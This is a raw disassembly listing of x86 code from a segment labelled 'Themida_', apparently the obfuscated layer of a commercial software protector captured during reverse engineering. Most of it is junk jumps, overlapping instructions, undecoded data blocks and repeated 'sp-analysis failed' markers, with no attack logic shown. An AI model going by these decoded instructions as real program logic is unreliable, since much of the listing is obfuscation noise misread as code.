		call	near ptr loc_650934+1
		fistp	qword ptr [edi-28h]
		cld
		pop	ebp
		dec	edx
		ror	dword ptr [ebp+14DD77FFh], 1
		dec	esi


loc_650934:				; CODE XREF: sub_6508B7+6Bp
		add	[ecx-59937B30h], al
sub_6508B7	endp ; sp-analysis failed

		jnp	short near ptr byte_65099B
		call	near ptr loc_65094E+1
		rol	byte ptr [ebp+59051F45h], 1
		xchg	esp, [ecx+0Ch]
		xor	[ecx+0Bh], ebx
		inc	ecx


loc_65094E:				; CODE XREF: Themida_:0065093Cp
		mov	ah, 0Fh
		test	ds:0BE000000h, eax
; ---------------------------------------------------------------------------
		dw 0B18Ch
		dd 0F591B35h, 0D83h, 820F6000h,	0
		dd 0EC3DE2B9h, 830F615Ch, 5, 6EC88166h,	0B5F2B954h, 0B70F3B58h
		dd 1CBA66D6h, 9E838h, 0D97B0000h, 0B1E9FFDFh, 0FD8ED5Dh
		dd 680h
		db 0, 0Fh, 84h
byte_65099B	db 0			; CODE XREF: Themida_:0065093Aj
		dd 5A000000h, 7E9h, 0C5F57F00h,	0B8969871h, 9E9h, 0A965F000h
		dd 6D57AA66h, 8B663EA9h, 0D88152C1h, 6DC7643h, 0FE95Ah
		dd 9E4F0000h, 69AE62CAh, 85FA1500h, 9744C967h, 0CAE681FCh
		dd 6009B765h, 0E9D68B66h, 9, 802B67Eh, 0F8CDB179h, 0F48A61A9h
		dd 0A2F28150h, 583F85AAh, 0B9F2B70Fh, 412A7A57h, 0F3B70F60h
		dd 8B28B361h, 914AB8C2h, 0BB663735h, 0EE8178Fh,	0AF000000h
		dd 1D093850h, 4F318A1Ch, 868CAE6Fh, 0F6BE66E2h,	9E95E81h
		dd 0D0000000h, 0E325956h, 0F2A20EFFh, 0F46834BFh, 0D380F85Ch
		dd 0CC806007h, 81666102h, 668FB9E8h, 0B14FA9BFh, 0D0816626h
		dd 0E7807674h, 68E0F2Bh, 81000000h, 6BF1D8E3h, 0B70FF920h
		dd 3800FD7h, 66000000h,	0A6B8DF8Bh, 0F69DD7Dh, 28Fh, 66C0B500h
		dd 663E71B8h, 8C0FD38Bh, 0
; ---------------------------------------------------------------------------
		jnz	loc_650A9A
		mov	ax, 0F005h


loc_650A9A:				; CODE XREF: Themida_:00650A90j
		jmp	loc_650AB1
; ---------------------------------------------------------------------------
		db 0F6h
		dd 25D1524Eh, 70779CD7h, 0FE50452Ch, 923F0868h
		db 0DFh
; ---------------------------------------------------------------------------


loc_650AB1:				; CODE XREF: Themida_:loc_650A9Aj
		jb	loc_650AC4
		call	near ptr loc_650ABF+3
		cld
		adc	al, 2Fh


loc_650ABF:				; CODE XREF: Themida_:00650AB7p
		test	[eax-4], al
		pop	ebx


loc_650AC4:				; CODE XREF: Themida_:loc_650AB1j
		push	ecx
		mov	di, si
		pop	eax
		push	eax
		sub	eax, 76F2F53Bh
		pop	ebx
		mov	dl, bh
		sub	bx, 0D4DDh
		jmp	loc_650AEC
; ---------------------------------------------------------------------------
		cmp	eax, 0DF45450Bh

locret_650AE2:				; CODE XREF: Themida_:00650B41j
		retf
; ---------------------------------------------------------------------------
		db 0D5h
		dd 0A55154CDh, 4637899h
; ---------------------------------------------------------------------------


loc_650AEC:				; CODE XREF: Themida_:00650AD8j
		call	near ptr loc_650AFA+2
		jp	short near ptr dword_65099C+0F0h
		daa
		inc	esp
		db	65h
		cmc
		mov	bl, 72h
		push	edi


loc_650AFA:				; CODE XREF: Themida_:loc_650AECp
		lds	ebx, [ebx+68D0Fh]
; ---------------------------------------------------------------------------
		dd 8D0F0000h, 0
; ---------------------------------------------------------------------------
		pop	eax
		mov	edi, ebx
		clc
		mov	al, 51h
		jmp	loc_650B21
; ---------------------------------------------------------------------------
		align 4
		dd 27FAFF5Ah
; ---------------------------------------------------------------------------
		das
		jno	short loc_650B5D


loc_650B1B:				; CODE XREF: Themida_:00650B8Cj
		adc	[edx-41FB5CAFh], ch


loc_650B21:				; CODE XREF: Themida_:00650B0Ej
		movsx	eax, cx
		mov	bx, si
		movsx	edi, dx
		mov	di, 0B4h
		cld
		mov	ah, 31h
		mov	bl, ah
		cmc
		call	sub_650B43
		mov	edx, 6FB8D4E4h
		mov	cl, 6Bh
		jb	short locret_650AE2

; =============== S U B	R O U T	I N E =======================================



sub_650B43	proc near		; CODE XREF: Themida_:00650B34p
		pop	edi
		mov	bh, 85h
		push	ecx
		mov	ebx, 166479E1h
		pop	edx
		call	near ptr loc_650B54+5
		and	eax, ecx


loc_650B54:				; CODE XREF: sub_650B43+Ap
		sbb	ds:817D42ECh, al
sub_650B43	endp ; sp-analysis failed

		setalc
		push	ss
		stosd


loc_650B5D:				; CODE XREF: Themida_:00650B19j
		stosd
		sub	ebx, [esi+52h]
		sub	dx, 0CFD1h
		pop	ebx
		adc	edx, 0FFEEFBDh
		pusha
		cld
		jmp	loc_650B86
; ---------------------------------------------------------------------------
		dd 0B116C14Ah, 13A84EECh, 13A289B5h, 8D5D1177h
; ---------------------------------------------------------------------------
		mov	bl, 0Ah


loc_650B86:				; CODE XREF: Themida_:00650B6Fj
		popa
		call	near ptr loc_650B93+2
		loope	loc_650B1B
		psrlq	mm7, mm0
		jg	short loc_650BCE


loc_650B93:				; CODE XREF: Themida_:00650B87p
		bound	esi, [ebp+0Fh]
		mov	edi, 12E95AD9h
; ---------------------------------------------------------------------------
		db 0
		dd 3E520000h, 0BC1859CCh, 8488EEBAh, 39173E3Fh,	0D6223FDh
		dd 11E9h, 0B85E9200h, 91CC7649h, 0DBC82AF6h, 5606D636h
		dd 13E99487h, 19000000h
		db 81h,	0A3h
; ---------------------------------------------------------------------------


loc_650BCE:				; CODE XREF: Themida_:00650B91j
		mov	ah, 0BAh
		db	36h
		push	edi
		jmp	near ptr 0B0BE4070h
; ---------------------------------------------------------------------------
		db 99h
		dd 0F653AC1Dh, 81666FB4h, 0F336FE9h, 283h, 6035B100h, 5E9h
		dd 0F6438E00h, 5E87624h, 23000000h, 0FAF1D597h,	5FCA8B66h
		dd 2649B961h, 8B665F16h, 0DDF81CEh, 0F499D58h, 18Fh, 8B66F500h
		dd 0E8B866C8h, 56CA8A4Fh, 0E967BF66h, 11E95Bh, 535A0000h
		dd 0F1160144h, 0C9C1A7F5h, 0AA36972Eh, 0E8235347h, 7, 14DF0888h
		dd 60C200C0h, 5E8h, 0C692E400h,	0F85896A0h, 0C38B5861h
		dd 8B5350FCh, 665F5FC8h, 0E860F28Bh, 6,	72DF765Ah, 2EB38BEBh
		dd 2800F5Fh, 8B000000h,	506061DEh, 6158FE8Bh, 0B1A9F181h
		dd 81662C11h, 66DC55CEh, 0F60FB8Bh, 8C0FFEBFh, 2, 6661CA8Bh
		dd 7E9D38Bh, 55000000h,	94C60EDh, 0DE91499h, 45000000h
		dd 35331C74h, 942126E7h, 0D18C2FCCh, 0F43FC281h, 0EE962E1h
		dd 5D000000h, 22946FD5h, 40E66161h, 3C2B12D0h, 6E9ECh
		dd 7B4E0000h, 45CEF2EBh, 8BDE8B66h, 50FB8BF0h, 0CEF68166h
		dd 8F0F5E6Fh, 5, 0C88B6651h, 6E85Fh, 0EEC0000h,	3BB11F51h
		dd 0E8F78B5Bh, 12h, 5A0556A4h, 8061B3D2h, 88A3752Ch, 9F15BF23h
		dd 8B663162h, 0A2BB59C7h, 81469A1Ch, 53086EF3h,	0AE85Bh
		dd 64EB0000h, 5AA5486Dh, 69AF1872h, 16B0C881h, 0E95837C9h
		dd 14h,	5849C28Ah, 0FEE96267h, 0A1F895C7h, 0BA5D6C80h
		dd 26CFF4A5h, 0E3EAE3BEh, 0E3816640h, 0D88A7E82h, 0B7D6DE80h
		dd 28A0F03h, 8B000000h,	11AEB9F7h, 850F12FAh, 3, 66F78B66h
		dd 830FFE8Bh, 3, 6690E480h, 0DD7EB81h, 0AEACE881h, 14E949BFh
		dd 5A000000h, 39975704h, 0CE8B117Dh, 847790BCh,	3D44BFCCh
		dd 0F71CFD5h, 0B70FF2BFh, 7A84BAC0h, 0FFC13D7h,	28Eh, 0E8D18B00h
		dd 8, 28048559h, 0B651AA7h, 0F5854B5h, 489h, 0DFB25200h
		dd 0D78B6659h, 6F58B966h, 80535952h, 0E95994C2h, 9, 6A126980h
		dd 0BACB7E63h, 0F7B70F03h, 1A1BB966h, 0D331BA66h, 5DBA22B1h
		dd 0FC02329Dh, 0FC38B66h, 1187h, 9E800h, 0F41B0000h, 0CEC5B0D5h
		dd 60C96696h, 0F5505B61h, 0EE95Ah, 61290000h, 44A0E49Eh
		dd 89E25E7Ch, 0CDD92991h, 0FD18B66h, 688h, 0E1E38100h
		dd 66019CDDh, 666316BEh, 8B96D8BFh, 0C38166D3h,	0AE91D18h
		dd 27000000h, 70A1C890h, 98F42096h, 8C0F60C3h, 4, 1839BE66h
		dd 0BA6661F8h, 0D38B40ACh, 0AE8h, 0D6C10A00h, 3E3D4F6Fh
		dd 0F30B205h, 0F5EDAB7h, 382h, 0C1BF0F00h, 58B86653h, 0FE95993h
		dd 4C000000h, 9F63017Bh, 0A6BA9A0h, 0E0335E7h, 0FF57B9Eh
		dd 5057D0B7h, 60605B5Ah, 66616160h, 0E961D08Bh,	8, 0BFBB6B48h
		dd 0ABB2AE3Dh, 61605656h, 810F5F5Eh, 0Ch, 6840Fh, 8D0F0000h
		dd 0
; ---------------------------------------------------------------------------
		jmp	loc_650F08
; ---------------------------------------------------------------------------
		db 0Eh,	53h, 38h
		db 0B2h
		db 0C5h, 0C8h, 0DCh	; CODE XREF: sub_650F55+1Aj
		dd 0FEAFB719h, 1664BE4Dh, 3971145Eh
; ---------------------------------------------------------------------------


loc_650F08:				; CODE XREF: Themida_:00650EF0j
		add	ch, 13h
		movzx	ebx, si
		and	cx, 1366h
		mov	eax, 4E188EEDh
		jmp	loc_650F2A
; ---------------------------------------------------------------------------
		db 4Ah,	0BEh, 4Bh
		dd 0E0B88F35h, 7DFE5F70h
		db 70h,	92h
; ---------------------------------------------------------------------------


loc_650F2A:				; CODE XREF: Themida_:00650F18j
		sub	ecx, 6DA8DE8Bh
		mov	dx, ax
		mov	ax, 9EEh
		jge	loc_650F59
		call	sub_650F55
		sub	al, 4Bh
		rep popa
		inc	eax
; ---------------------------------------------------------------------------
		db 0C5h
		dd 0FDB59FDEh, 0C8C66AC7h, 6DA8B807h
		db 44h

; =============== S U B	R O U T	I N E =======================================



sub_650F55	proc near		; CODE XREF: Themida_:00650F3Dp
		movsx	edx, bx
		pop	edx


loc_650F59:				; CODE XREF: Themida_:00650F37j
		mov	di, 0C43Ah
		call	sub_650F72
		push	0BE820E1Fh
		mov	bl, 8Dh
		cmp	[ebx+519526A3h], ebp
		jz	short near ptr byte_650EF9
		pop	edx
sub_650F55	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_650F72	proc near		; CODE XREF: sub_650F55+8p
		sub	esi, 63B34EFBh
		pop	ecx
		xor	bx, 255Ch
		sbb	edi, 8A5FD94h
		jmp	loc_650F96
; ---------------------------------------------------------------------------
		db 8Dh,	0D0h, 0B9h
		dd 0F070EBC1h, 9D7EDD71h
; ---------------------------------------------------------------------------
		cmp	al, 1Eh


loc_650F96:				; CODE XREF: sub_650F72+12j
		jo	loc_650FA1
		xor	cx, 0D5D3h


loc_650FA1:				; CODE XREF: sub_650F72:loc_650F96j
		mov	dx, 0EF5Dh
		movsx	ebx, cx
		mov	cx, 0A194h
		jmp	loc_650FB6
; ---------------------------------------------------------------------------
		push	ebp
		mov	bl, 52h
		inc	esp
		cmpsb


loc_650FB6:				; CODE XREF: sub_650F72+3Aj
		sbb	dl, 0B7h
		xor	ax, 0EC9Bh
		jnp	loc_650FCA
		sbb	esi, 6041FBE0h


loc_650FCA:				; CODE XREF: sub_650F72+4Cj
		pusha
		cld
		popa
		pusha
		sbb	edx, 209AF652h
		jmp	loc_650FE1
; ---------------------------------------------------------------------------
		db 88h,	73h, 0BEh
		dd 209A1BB2h
		db 0C8h
; ---------------------------------------------------------------------------


loc_650FE1:				; CODE XREF: sub_650F72+62j
		popa
		sub	dx, 94A1h
		call	sub_650FF3
		dec	ebp
		fidivr	dword ptr [ecx-1CC51EF5h]
sub_650F72	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_650FF3	proc near		; CODE XREF: sub_650F72+75p
		and	edi, 28759397h
		pop	edx
		mov	esi, 3079B9FEh
		cmc
		cld
		sbb	esi, 3015DE50h
		mov	cx, bx
		mov	ecx, edx
		movsx	edi, dx
		mov	edx, 51D0DABh
		mov	ax, 0F550h
		push	esi
		call	near ptr loc_651030+1
		db	2Eh
		sahf
		sbb	esp, esi
		sub	bl, [eax]
		test	ebp, 2A14D9EEh
		db	3Eh
		push	esp
		or	bl, ch
		or	esi, edi


loc_651030:				; CODE XREF: sub_650FF3+26p
		out	66h, eax
sub_650FF3	endp ; sp-analysis failed

		mov	edi, 5859D561h
		mov	eax, 5F2703CAh
		pusha
		movzx	ecx, di
		mov	ax, 4D46h
		popa
		jmp	loc_651053
; ---------------------------------------------------------------------------
		dw 9A9Bh
		dd 61081AA0h
		db 0CFh, 4Dh, 5
; ---------------------------------------------------------------------------


loc_651053:				; CODE XREF: Themida_:00651045j
		xor	esi, 6F5700F0h
		xor	di, 0E337h
		jmp	loc_65106A
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		or	edx, [ebx+62BA485Ch]


loc_65106A:				; CODE XREF: Themida_:0065105Ej
		call	near ptr loc_651079+4
		cwde
		out	dx, al
		db	3Eh
		mov	al, 0F4h
		push	54DD37AEh


loc_651079:				; CODE XREF: Themida_:loc_65106Ap
		mov	eax, ds:0B9342F44h
		pusha
		pop	ecx
		sbb	[esi], bl
		pop	edi
		pusha
		pusha
		jmp	loc_651095
; ---------------------------------------------------------------------------
		dw 0BFB9h
		dd 84572B2Bh, 978D792Ch
		db 8Fh
; ---------------------------------------------------------------------------


loc_651095:				; CODE XREF: Themida_:00651085j
		mov	bx, 0AB45h
		popa
		popa
		pusha
		jg	loc_6510A4
		mov	ah, 0DFh


loc_6510A4:				; CODE XREF: Themida_:0065109Cj
					; sub_6510FA+Bj
		mov	cx, dx
		popa
		sub	al, 0D5h
		sbb	ah, 0DEh
		jb	loc_6510B7
		movsx	ecx, di


loc_6510B7:				; CODE XREF: Themida_:006510AEj
		pusha
		mov	cx, 5CEh
		popa
		jmp	loc_6510D6
; ---------------------------------------------------------------------------
		dw 368h
		dd 0F489DF53h, 23FAC3B3h, 4995EE71h, 0ADCA6BE9h
		db 0F7h, 48h
; ---------------------------------------------------------------------------


loc_6510D6:				; CODE XREF: Themida_:006510BDj
		adc	edi, 6BAB442Ah
		mov	dx, cx
		or	ch, 0EFh
		call	sub_6510FA
		setalc
; ---------------------------------------------------------------------------
		dd 80CDC98Eh, 8BE317D8h, 0AA044F40h, 0A40EA9DDh
		db 0B9h, 6Dh

; =============== S U B	R O U T	I N E =======================================



sub_6510FA	proc near		; CODE XREF: Themida_:006510E2p
		pop	edx
		and	bx, 0DDE5h
		call	near ptr loc_651107+3
		jnz	short near ptr loc_6510A4+2


loc_651107:				; CODE XREF: sub_6510FA+6p
		and	byte ptr [ebp+63h], 53h
sub_6510FA	endp ; sp-analysis failed

		cmc
		pop	ecx
		pop	edx
		jo	loc_651123
		jmp	loc_651123
; ---------------------------------------------------------------------------
		db 18h,	8, 0CFh
		dd 5C6FEDEAh
		db 44h,	78h, 64h
; ---------------------------------------------------------------------------


loc_651123:				; CODE XREF: Themida_:0065110Ej
					; Themida_:00651114j
		pusha
		or	eax, 66DBBE0Ch
		jz	loc_651133
		movsx	edx, ax


loc_651133:				; CODE XREF: Themida_:0065112Aj
		popa
		call	near ptr loc_65113E+3
		sub	eax, 8045DCB4h


loc_65113E:				; CODE XREF: Themida_:00651134p
		and	[esi-197E993Fh], bh
		jmp	far ptr	0F88Bh:0FDB35AEFh
; ---------------------------------------------------------------------------
		movsx	edi, si
		or	al, 0ACh
		mov	ebx, 0EBEEFE3h
		jmp	loc_651169
; ---------------------------------------------------------------------------
		db 8
		dd 35D94156h, 96E1CF45h, 748A71E7h
		db 6Bh
; ---------------------------------------------------------------------------


loc_651169:				; CODE XREF: Themida_:00651156j
		jno	$+6
		mov	ax, 695h
		sub	edx, 42745E76h
		jmp	loc_65118B
; ---------------------------------------------------------------------------
		dw 5317h
		dd 4365A233h, 0ECE49AD7h
		db 13h,	19h, 7Ch
; ---------------------------------------------------------------------------


loc_65118B:				; CODE XREF: Themida_:00651179j
		jb	loc_651193
		mov	dh, 76h


loc_651193:				; CODE XREF: Themida_:loc_65118Bj
		adc	bl, 62h
		jmp	loc_6511AB
; ---------------------------------------------------------------------------
		mov	ch, 0D1h
		inc	esi
		jbe	short loc_6511D3
		ja	short loc_6511D3
		rcr	al, cl
		fxch	st(6)
		and	ah, [ebx+36h]
		dec	esi
		xchg	eax, edx


loc_6511AB:				; CODE XREF: Themida_:00651196j
		jmp	loc_6511BF
; ---------------------------------------------------------------------------
		dd 2E3F743Eh, 52FE7A6Dh, 59F343E1h
		db 75h,	0AEh, 0BAh
; ---------------------------------------------------------------------------


loc_6511BF:				; CODE XREF: Themida_:loc_6511ABj
		jnp	loc_6511D6
		jmp	loc_6511D6
; ---------------------------------------------------------------------------
		dw 35FEh
		dd 39CF2DC4h
; ---------------------------------------------------------------------------
		test	[edi+edi*2], esp


loc_6511D3:				; CODE XREF: Themida_:0065119Ej
					; Themida_:006511A0j
		mov	bh, 0C5h
; ---------------------------------------------------------------------------
		db 3Bh
; ---------------------------------------------------------------------------


loc_6511D6:				; CODE XREF: Themida_:loc_6511BFj
					; Themida_:006511C5j
		pusha
		jmp	loc_6511EF
; ---------------------------------------------------------------------------
		pop	ecx
		sbb	ah, bh
		inc	ebp
		cmp	[ebx], esi
		and	[ebx-36177348h], ch
		xchg	eax, edi
		sub	eax, [ebx-73EE1BABh]


loc_6511EF:				; CODE XREF: Themida_:006511D7j
		mov	si, 0D728h
		popa
		adc	si, 190h
		pusha
		mov	cl, 18h
		jo	loc_65120E
		jmp	loc_65120E
; ---------------------------------------------------------------------------
		sar	dword ptr [esi+8579FF0h], 34h


loc_65120E:				; CODE XREF: Themida_:006511FCj
					; Themida_:00651202j
		popa
		sub	edi, 3B2AC067h
		stc
		clc
		sub	esi, 1B896F3Ch
		jmp	loc_65122C
; ---------------------------------------------------------------------------
		cmp	al, 36h
		icebp
		adc	eax, 9673E031h
		xor	[ebx], esp


loc_65122C:				; CODE XREF: Themida_:0065121Dj
		cld
		call	sub_651242
		into
		sbb	al, 6Dh
		rcr	byte ptr [ecx-1Ch], 1
		movsd
; ---------------------------------------------------------------------------
		db 0FEh, 6Bh, 0A1h
		dd 0B337D431h
; ---------------------------------------------------------------------------
		xor	al, 7Bh

; =============== S U B	R O U T	I N E =======================================



sub_651242	proc near		; CODE XREF: Themida_:0065122Dp
		mov	al, bl
		pop	edi
		sub	di, 9F6Ch
		sbb	cx, 0A6A9h
		mov	edx, eax
		jmp	loc_65125D
; ---------------------------------------------------------------------------
		dw 1333h
		dd 84189196h
		db 0CFh
; ---------------------------------------------------------------------------


loc_65125D:				; CODE XREF: sub_651242+Fj
		mov	ecx, 3CF44A57h
		mov	ah, 0C8h
		jmp	loc_65127A
; ---------------------------------------------------------------------------
		xor	[ecx], ebx
		mov	dl, 0FCh
		jmp	fword ptr [edx+ebp*2]
; ---------------------------------------------------------------------------
		dd 7712847Dh, 49D92D96h
		db 0C5h, 9Dh
; ---------------------------------------------------------------------------


loc_65127A:				; CODE XREF: sub_651242+22j
		jb	loc_651293
		jmp	loc_651293
; ---------------------------------------------------------------------------
		db 12h,	0CAh, 0CEh
		dd 62F268Dh, 6CF6FBADh
		db 7Bh,	61h, 0B8h
; ---------------------------------------------------------------------------


loc_651293:				; CODE XREF: sub_651242:loc_65127Aj
					; sub_651242+3Ej
		ja	loc_65129C
		sub	ah, 0FAh


loc_65129C:				; CODE XREF: sub_651242:loc_651293j
		mov	edi, eax
		or	edx, 7621999Ah
		jmp	loc_6512BB
; ---------------------------------------------------------------------------
		db 0AAh, 0Ch, 30h
		dd 27FC3A40h, 6A436231h, 0F56CF84Ah
; ---------------------------------------------------------------------------
		mov	ah, 64h
		movsb


loc_6512BB:				; CODE XREF: sub_651242+62j
		mov	cx, dx
		add	dx, 206Dh
		jmp	loc_6512D3
; ---------------------------------------------------------------------------
		dd 155C6E64h, 6A23857Eh
		db 0AAh, 3, 15h
; ---------------------------------------------------------------------------


loc_6512D3:				; CODE XREF: sub_651242+81j
		clc
		movzx	edi, si
		mov	ebx, eax
		adc	di, 3B6Fh
		mov	edx, 20021802h
		sub	di, 8D35h
		sub	edx, 5343C8F2h
		mov	eax, 1D7D692Ch
		mov	esi, 0EB11ADFh
		and	al, 0D9h
		movzx	ecx, bx
		pusha
		jmp	loc_65130E
; ---------------------------------------------------------------------------
		dd 5B94CF0h, 42612573h
; ---------------------------------------------------------------------------
		and	al, ah


loc_65130E:				; CODE XREF: sub_651242+BDj
		push	edi
		push	ebx
		pop	ecx
		pop	ebx
		popa
		jmp	loc_651320
; ---------------------------------------------------------------------------
		dd 0C71D424Ch, 687961CAh
; ---------------------------------------------------------------------------


loc_651320:				; CODE XREF: sub_651242+D1j
		mov	al, 83h
		mov	cx, ax
		mov	ebx, 0AFF8BA1h
		mov	edi, 5EC6054Dh
		add	edi, 79EC8797h
		jnb	loc_651341
		add	edx, 3C39F38Dh


loc_651341:				; CODE XREF: sub_651242+F3j
		jno	loc_651365
		pusha
		mov	edi, 63FF7B77h
		jmp	loc_651364
; ---------------------------------------------------------------------------
		dw 0DE6Bh
		dd 910F765h, 8C0E41A5h,	3F3E9766h, 4720BF88h
; ---------------------------------------------------------------------------


loc_651364:				; CODE XREF: sub_651242+10Bj
		popa


loc_651365:				; CODE XREF: sub_651242:loc_651341j
		call	near ptr loc_651371+5
		scasd
		outsb
		mov	ch, 6
		mov	eax, [ebp-3Bh]


loc_651371:				; CODE XREF: sub_651242:loc_651365p
		adc	edi, 522AE4D8h
sub_651242	endp ; sp-analysis failed

		pop	edi
		pop	edx
		pusha
		pusha
		push	edx
		pop	eax
		popa
		cmc
		popa
		sbb	bx, 404Bh
		jmp	loc_65139B
; ---------------------------------------------------------------------------
		dw 0C20Ah
		dd 352129C9h, 2D4A619Dh, 7C1CAF05h
; ---------------------------------------------------------------------------
		imul	byte ptr [edi+6Fh]


loc_65139B:				; CODE XREF: Themida_:00651385j
		jmp	loc_6513AB
; ---------------------------------------------------------------------------
		pop	eax
		retf	0F89Ch		; CODE XREF: sub_6513E9:loc_651418j
; ---------------------------------------------------------------------------
		jle	short loc_651418
		mov	ah, 8Bh
		jecxz	short loc_651409
		retf
; ---------------------------------------------------------------------------


loc_6513AB:				; CODE XREF: Themida_:loc_65139Bj
		push	eax
		and	edx, 1725D271h
		pop	ecx
		call	sub_6513C1
		iret
; ---------------------------------------------------------------------------
		db 0C6h, 9Bh, 0BCh
		dd 0FA4AFC2Fh
		db 0C4h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_6513C1	proc near		; CODE XREF: Themida_:006513B3p
		jmp	sub_6513DA
sub_6513C1	endp

; ---------------------------------------------------------------------------
		dw 8FBh
		dd 15B26878h, 7294FFF4h, 0C2063A82h, 79DE17EDh
		db 3Fh,	0DDh

; =============== S U B	R O U T	I N E =======================================



sub_6513DA	proc near		; CODE XREF: sub_6513C1j
		pop	esi
		xor	cl, 0CBh
		call	sub_6513E9
		add	al, 34h
		sbb	dh, ah
		mov	bh, cl
sub_6513DA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_6513E9	proc near		; CODE XREF: sub_6513DA+4p
		mov	esi, 69FAE213h
		pop	ecx
		mov	bh, dh
		mov	di, 0C765h
		mov	edi, 74422404h
		mov	dx, 3FBh
		pusha
		mov	ecx, 41131782h
		popa
		clc
		mov	di, ax		; CODE XREF: sub_6513E9+3Aj


loc_651409:				; CODE XREF: Themida_:006513A8j
		sub	al, 0F9h
		pusha
		jmp	loc_651426
; ---------------------------------------------------------------------------
		dw 0CDDh
		dd 0EB84744Dh
; ---------------------------------------------------------------------------


loc_651418:				; CODE XREF: Themida_:006513A4j
		jnz	short near ptr locret_6513A1+1
		jnz	short near ptr loc_65142F+4
		sub	cl, ss:[eax-55FD0760h]
		jmp	short near ptr loc_651406+2
; ---------------------------------------------------------------------------
		db 0FFh
; ---------------------------------------------------------------------------


loc_651426:				; CODE XREF: sub_6513E9+24j
		popa
		cld
		jnb	loc_651440
		pusha


loc_65142F:				; CODE XREF: sub_6513E9+31j
		jmp	loc_65143A
; ---------------------------------------------------------------------------
		dd 48189567h
		db 0E6h, 9
; ---------------------------------------------------------------------------


loc_65143A:				; CODE XREF: sub_6513E9:loc_65142Fj
		mov	eax, 2EEA58E9h
		popa


loc_651440:				; CODE XREF: sub_6513E9+3Fj
		jmp	loc_65144F
; ---------------------------------------------------------------------------
		db 0D1h, 0A6h, 0A9h
		dd 5ED61E61h
		db 54h,	68h, 0Eh
; ---------------------------------------------------------------------------


loc_65144F:				; CODE XREF: sub_6513E9:loc_651440j
		mov	cl, 0B1h
		mov	ecx, esi
		sub	di, 0DED0h
		mov	ecx, 3E29174Ah
		jmp	loc_651468
; ---------------------------------------------------------------------------
		dw 60DCh
		dd 288822A5h
; ---------------------------------------------------------------------------


loc_651468:				; CODE XREF: sub_6513E9+74j
		jnb	loc_651473
		sbb	dx, 5CABh


loc_651473:				; CODE XREF: sub_6513E9:loc_651468j
		adc	di, 4372h
		mov	esi, 37E1B55Ah
		mov	esi, 4F9F6011h
		mov	si, ax
		jmp	loc_65149C
; ---------------------------------------------------------------------------
		dw 0B9BCh
		dd 3605FA95h, 34644448h, 0E966B6BAh, 3222E5Ah
; ---------------------------------------------------------------------------


loc_65149C:				; CODE XREF: sub_6513E9+9Cj
		jno	loc_6514B2
		jmp	loc_6514B2
; ---------------------------------------------------------------------------
		db 0BEh
		dd 0F7EC083Fh, 83E48F91h
; ---------------------------------------------------------------------------
		fmul	st(2), st


loc_6514B2:				; CODE XREF: sub_6513E9:loc_65149Cj
					; sub_6513E9+B9j
		push	esi
		mov	cl, dl
		pop	edi
		mov	ebx, ecx
		mov	cl, 0B5h
		cmc
		jmp	loc_6514CC
; ---------------------------------------------------------------------------
		mov	ecx, 25150DEEh
		push	ebx
		sbb	[edx+edi*2], edi
		pop	ss
		xchg	eax, ebp
		dec	eax


loc_6514CC:				; CODE XREF: sub_6513E9+D2j
		jg	near ptr loc_6514E2+4
		call	near ptr loc_6514E2+2
		cmp	byte ptr [eax],	2Bh
		mov	ds:5408F7EDh, al
		bound	ecx, [eax-10h]


loc_6514E2:				; CODE XREF: sub_6513E9+E9p
					; sub_6513E9:loc_6514CCj
		mov	ecx, 815AF921h
sub_6513E9	endp ; sp-analysis failed

		shr	byte ptr [edx],	cl
		and	ch, ah
		adc	al, 0Fh
		add	byte ptr [esi],	0
; ---------------------------------------------------------------------------
		dd 0F2810000h, 74DC5F85h, 2CD5B866h, 0DADABF66h, 14E8h
		dd 0E578FB00h, 0EBF3652h, 0F43ECA62h, 338EA04Eh, 0AAE2990Fh
		dd 8B66604Bh, 6E8F3h, 9EC90000h, 12497DCh, 0F958615Eh
		dd 0FE9h, 3CA15C00h, 88EB7922h,	92E96E9Bh, 0EBB860D9h
		dd 9E9h, 6E25D00h, 0CD0E30BAh, 0B866B7FFh, 6E97AE3h, 28000000h
		dd 9E7D143Ah, 66DE8BA8h, 0AA89D181h, 0F7D98151h, 5B1CC639h
		dd 28B0Fh, 0EBB00000h, 12E9h, 21720D00h, 0F2D6DA28h, 0EA53200Bh
		dd 1BA9B049h, 0E9030C6Bh, 0Ch, 484FD4C9h, 1C84C737h, 446B7323h
		dd 7E9h, 0DB80C600h, 43C9CCCEh,	14E9D18Bh, 41000000h, 0F3C37A50h
		dd 0C335A7D9h, 0D5E389D4h, 7E557D15h, 0F550CC5h, 1081h
		dd 7E800h, 0E8EF0000h, 721A8292h, 8AD880D8h, 0FCFB8B58h
		dd 7C21BEF5h, 0CA8A602Ah, 8BF78BFCh, 5F381F0h, 66551A5Fh
		dd 0B966F98Bh, 0F9527AC7h, 53FE8B59h, 0E1816657h, 585B3B00h
		dd 80F78B66h, 5660A1D6h, 665F5A56h, 0A66FE081h,	8E961h
		dd 0D66C0000h, 0A18BC2ACh, 9E81AD1h, 5E000000h,	5F92BFAAh
		dd 7C2291E0h, 665FF78Bh, 5AE2D881h, 0CE950h, 71070000h
		dd 0C775B8AAh, 0A6979ED2h, 52598DC7h, 0F56605Bh, 80h, 12E95800h
		dd 5B000000h, 59C4A1D4h, 0ED45A3A0h, 72C09650h,	2D65EC16h
		dd 9E961A6h, 61000000h,	5CF89A03h, 28D1BF7Fh, 0E983E180h
		dd 0Dh,	0C2BF5AD0h, 0F6110EACh,	28B887AAh, 0C254F41Bh
		dd 515h	dup(0C254F5B9h)
; ---------------------------------------------------------------------------


loc_652AE8:				; DATA XREF: sub_5A55E5+17DADo
		mov	ecx, 0B9C254F5h
		cmc
		push	esp
		retn	0F5B9h
; ---------------------------------------------------------------------------
		push	esp
		retn	0F5B9h
; ---------------------------------------------------------------------------
		push	esp
		retn	0F5B9h
; ---------------------------------------------------------------------------
		push	esp
		retn	0F5B9h
; ---------------------------------------------------------------------------
		push	esp
		retn	0F5B9h
; ---------------------------------------------------------------------------
		push	esp
		retn	0F5B9h
; ---------------------------------------------------------------------------
		push	esp
		retn	0F5B9h
; ---------------------------------------------------------------------------
		push	esp
		retn	0F5B9h
; ---------------------------------------------------------------------------
		push	esp
		retn	0F5B9h
; ---------------------------------------------------------------------------
		push	esp
		retn	0F5B9h
; ---------------------------------------------------------------------------
		push	esp
